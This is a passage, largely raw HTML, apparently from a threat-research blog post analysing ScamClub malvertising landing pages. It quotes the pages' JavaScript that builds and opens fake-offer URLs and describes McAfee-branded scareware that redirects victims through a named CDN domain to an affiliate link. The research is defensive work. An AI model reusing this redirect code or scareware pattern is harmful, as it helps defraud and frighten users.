data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:632,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:156836,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iaD3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 424w, https://substackcdn.com/image/fetch/$s_!iaD3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 848w, https://substackcdn.com/image/fetch/$s_!iaD3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 1272w, https://substackcdn.com/image/fetch/$s_!iaD3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffb85c1bd-e0d6-4511-be14-ed406d830a1c_1000x632.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Looking back at ScamClub&#8217;s landing page, we see a JavaScript source was loaded and find it is used to generate several URLs.</p><pre><code>&lt;script src=&#8221;carrier/main.js&#8221;&gt;&lt;/script&gt;
    &lt;script type=&#8221;text/javascript&#8221;&gt;
        var offer_s10 = PK.buildoffer_random(1,1);
        var offer_iphonex = PK.buildoffer_random(2,2);
        var offer_movie = PK.buildoffer_random(3,3);
        var offer_shein = PK.buildoffer_random(5,5);
        var offer_gas = PK.buildoffer_random(6,6);
        var offer_mystery_box = PK.buildoffer_random(7,7);
        var offer_dyson = PK.buildoffer_random(8,8);
        var offer_aerostep = PK.buildoffer_random(9,9);
        var offer_airfryer = PK.buildoffer_random(10,10);
    &lt;/script&gt;

</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GW2M!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GW2M!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 424w, https://substackcdn.com/image/fetch/$s_!GW2M!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 848w, https://substackcdn.com/image/fetch/$s_!GW2M!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 1272w, https://substackcdn.com/image/fetch/$s_!GW2M!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GW2M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png" width="882" height="101" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cc224822-d816-49e3-a471-46a810626c3d_882x101.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:101,&quot;width&quot;:882,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:24828,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GW2M!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 424w, https://substackcdn.com/image/fetch/$s_!GW2M!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 848w, https://substackcdn.com/image/fetch/$s_!GW2M!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 1272w, https://substackcdn.com/image/fetch/$s_!GW2M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc224822-d816-49e3-a471-46a810626c3d_882x101.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p style="text-align: center;"><em>testing PK.buildoffer_random()</em></p><p>We can see that a URL is inside these <em>offer_&#8230; </em>variables. The URL&#8217;s only differ in the<em> offer</em> parameter value. On this page it is an int between 1&#8211;10 because 9 total offers are represented on the page. When the victim chooses one, the page is loaded using window.open()</p><pre><code>
function __cta(a){
        if(a == 1){
            window.open(offer_s10,&#8217;_blank&#8217;);
        } else if(a==2) {
            window.open(offer_iphonex,&#8217;_blank&#8217;);
        } else if(a==3) {
            window.open(offer_movie,&#8217;_blank&#8217;);
        }else if(a==5) {
            window.open(offer_shein,&#8217;_blank&#8217;);
        }else if(a==6) {
            window.open(offer_gas,&#8217;_blank&#8217;);
        }else if(a==7) {
            window.open(offer_mystery_box,&#8217;_blank&#8217;);
        }else if(a==8) {
            window.open(offer_dyson,&#8217;_blank&#8217;);
        }else if(a==9) {
            window.open(offer_aerostep,&#8217;_blank&#8217;);
        }else if(a==10) {
            window.open(offer_airfryer,&#8217;_blank&#8217;);
        }

</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UiED!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UiED!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 424w, https://substackcdn.com/image/fetch/$s_!UiED!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 848w, https://substackcdn.com/image/fetch/$s_!UiED!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 1272w, https://substackcdn.com/image/fetch/$s_!UiED!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UiED!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png" width="1000" height="631" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:631,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:271076,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UiED!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 424w, https://substackcdn.com/image/fetch/$s_!UiED!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 848w, https://substackcdn.com/image/fetch/$s_!UiED!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 1272w, https://substackcdn.com/image/fetch/$s_!UiED!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd04f34ce-4b61-4872-9ed3-5a12ab3d4800_1000x631.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Inspecting the OK button on the Galaxy offer shows it call the previous code snippets function</em></p><h3><strong>eu.cybershieldscan.monster</strong></h3><p>Recently, we have seen ScamClub&#8217;s landing pages change and not offer more than one offer. Their landing pages shifted towards scareware and convince victims into paying for McAfee antivirus software. They persuade the victim into believing they have malware falsely.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Hstu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Hstu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 424w, https://substackcdn.com/image/fetch/$s_!Hstu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 848w, https://substackcdn.com/image/fetch/$s_!Hstu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 1272w, https://substackcdn.com/image/fetch/$s_!Hstu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Hstu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png" width="1000" height="711" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:711,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:212904,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Hstu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 424w, https://substackcdn.com/image/fetch/$s_!Hstu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 848w, https://substackcdn.com/image/fetch/$s_!Hstu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 1272w, https://substackcdn.com/image/fetch/$s_!Hstu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbcbc85a9-dcb2-473f-83ea-aaf55d45d524_1000x711.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>ScamClub&#8217;s McAfee branded scareware</em></p><p>None of the claims on the landing page are true and their only purpose is to scare the victim into believing they need the software.</p><pre><code>&lt;script src=&#8221;source1/main.js&#8221;&gt;&lt;/script&gt;
    &lt;script type=&#8221;text/javascript&#8221;&gt;
        var offer_mcafee = PK.buildoffer_random(1,1);

        function goto(){
            window.open(offer_mcafee,&#8217;_blank&#8217;);
        }</code></pre><p>The code above differs from the previous ScamClub landing pages and has one offer URL instead of multiple. The domain <em>1156138705.rsc.cdn77.org </em>in the offer URLs on the carrier branded pages is also used on the scareware pages.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iyCn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iyCn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 424w, https://substackcdn.com/image/fetch/$s_!iyCn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 848w, https://substackcdn.com/image/fetch/$s_!iyCn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 1272w, https://substackcdn.com/image/fetch/$s_!iyCn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iyCn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png" width="1000" height="513" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:513,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:126113,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iyCn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 424w, https://substackcdn.com/image/fetch/$s_!iyCn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 848w, https://substackcdn.com/image/fetch/$s_!iyCn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 1272w, https://substackcdn.com/image/fetch/$s_!iyCn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe13d7dd2-fffc-4cfa-b950-f4930d29eae9_1000x513.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>URL that initiates the redirection towards the entities offer</em></p><p>ScamClub&#8217;s McAfee branded landing pages lead victims to McAfee&#8217;s real website with affiliate code attached in order to collect payment. The 1156138705.rsc.cdn77.org URL redirects the victim multiple times after they click the offer. In these redirects, we can see it redirecting to McAfee with a affiliate id 1494.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!g5uc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!g5uc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 424w, https://substackcdn.com/image/fetch/$s_!g5uc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 848w, https://substackcdn.com/image/fetch/$s_!g5uc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 1272w, https://substackcdn.com/image/fetch/$s_!g5uc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!g5uc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png" width="930" height="1018" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1018,&quot;width&quot;:930,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:390462,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!g5uc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 424w, https://substackcdn.com/image/fetch/$s_!g5uc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 848w, 